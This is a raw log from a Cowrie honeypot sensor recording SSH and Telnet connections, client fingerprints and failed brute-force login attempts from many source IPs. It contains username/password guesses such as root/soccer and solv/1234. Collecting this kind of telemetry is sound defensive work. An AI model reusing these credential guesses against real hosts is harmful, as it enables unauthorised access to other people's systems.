{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":46206,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec71678e7c7a","protocol":"ssh","message":"New connection: 183.182.125.142:46206 (10.17.0.5:22) [session: ec71678e7c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:36.648883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:36.653014Z","src_ip":"183.182.125.142","session":"ec71678e7c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:36.924936Z","src_ip":"183.182.125.142","session":"ec71678e7c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:38.050922Z","src_ip":"183.182.125.142","session":"ec71678e7c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:39.326412Z","src_ip":"183.182.125.142","session":"ec71678e7c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00152015686035,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:40.368223Z","src_ip":"38.156.90.84","session":"866bc9e11a94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:46.929517Z","src_ip":"8.218.166.49","session":"472bc75333ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:56.376984Z","src_ip":"8.218.166.49","session":"0617743a66c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":53172,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ea9a7d1295c","protocol":"ssh","message":"New connection: 14.63.196.175:53172 (10.17.0.5:22) [session: 4ea9a7d1295c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:58.257829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:58.262105Z","src_ip":"14.63.196.175","session":"4ea9a7d1295c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.186","src_port":44359,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f02bf430556","protocol":"ssh","message":"New connection: 104.28.195.186:44359 (10.17.0.5:22) [session: 3f02bf430556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:58.367016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:58.370812Z","src_ip":"104.28.195.186","session":"3f02bf430556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:58.465233Z","src_ip":"14.63.196.175","session":"4ea9a7d1295c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:58.470921Z","src_ip":"104.28.195.186","session":"3f02bf430556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shannon","message":"login attempt [root/shannon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:58.798595Z","src_ip":"104.28.195.186","session":"3f02bf430556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:59.311514Z","src_ip":"14.63.196.175","session":"4ea9a7d1295c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:02:59.878571Z","src_ip":"104.28.195.186","session":"3f02bf430556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:00.520117Z","src_ip":"14.63.196.175","session":"4ea9a7d1295c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":48546,"dst_ip":"10.17.0.5","dst_port":22,"session":"44081d9f5f25","protocol":"ssh","message":"New connection: 68.183.178.130:48546 (10.17.0.5:22) [session: 44081d9f5f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:10.684231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:10.688878Z","src_ip":"68.183.178.130","session":"44081d9f5f25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:10.926604Z","src_ip":"68.183.178.130","session":"44081d9f5f25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simplepass","message":"login attempt [root/simplepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:11.909952Z","src_ip":"68.183.178.130","session":"44081d9f5f25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:13.151083Z","src_ip":"68.183.178.130","session":"44081d9f5f25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":43596,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a3da9f8cba9","protocol":"ssh","message":"New connection: 49.207.40.162:43596 (10.17.0.5:22) [session: 5a3da9f8cba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:18.526032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:18.530485Z","src_ip":"49.207.40.162","session":"5a3da9f8cba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:18.748821Z","src_ip":"49.207.40.162","session":"5a3da9f8cba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soccer","message":"login attempt [root/soccer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:19.655387Z","src_ip":"49.207.40.162","session":"5a3da9f8cba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:20.877245Z","src_ip":"49.207.40.162","session":"5a3da9f8cba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53714,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1a7fa581b62","protocol":"ssh","message":"New connection: 8.218.166.49:53714 (10.17.0.5:22) [session: d1a7fa581b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:34.772964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:35.341510Z","src_ip":"8.218.166.49","session":"d1a7fa581b62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:35.346210Z","src_ip":"8.218.166.49","session":"d1a7fa581b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:36.738627Z","src_ip":"8.218.166.49","session":"d1a7fa581b62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:38.257869Z","src_ip":"8.218.166.49","session":"d1a7fa581b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":56746,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6df77c55b56","protocol":"ssh","message":"New connection: 198.23.150.42:56746 (10.17.0.5:22) [session: a6df77c55b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:39.697296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:39.701830Z","src_ip":"198.23.150.42","session":"a6df77c55b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:39.719363Z","src_ip":"198.23.150.42","session":"a6df77c55b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhaojia","message":"login attempt [root/zhaojia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:39.821956Z","src_ip":"198.23.150.42","session":"a6df77c55b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:40.846156Z","src_ip":"198.23.150.42","session":"a6df77c55b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":46906,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d0c44a64cf4","protocol":"telnet","message":"New connection: 3.131.220.121:46906 (159.203.135.109:23) [session: 4d0c44a64cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:44.368887Z"}
{"eventid":"cowrie.session.closed","duration":0.03158378601074219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:44.400353Z","src_ip":"3.131.220.121","session":"4d0c44a64cf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39594,"dst_ip":"159.203.135.109","dst_port":22,"session":"81a706eb1ee1","protocol":"ssh","message":"New connection: 2.57.122.238:39594 (159.203.135.109:22) [session: 81a706eb1ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:46.178993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:46.183707Z","src_ip":"2.57.122.238","session":"81a706eb1ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:46.282953Z","src_ip":"2.57.122.238","session":"81a706eb1ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:46.580125Z","src_ip":"2.57.122.238","session":"81a706eb1ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:47.682274Z","src_ip":"2.57.122.238","session":"81a706eb1ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":44366,"dst_ip":"10.17.0.5","dst_port":22,"session":"9867a7549a75","protocol":"ssh","message":"New connection: 68.183.178.130:44366 (10.17.0.5:22) [session: 9867a7549a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:52.037001Z"}
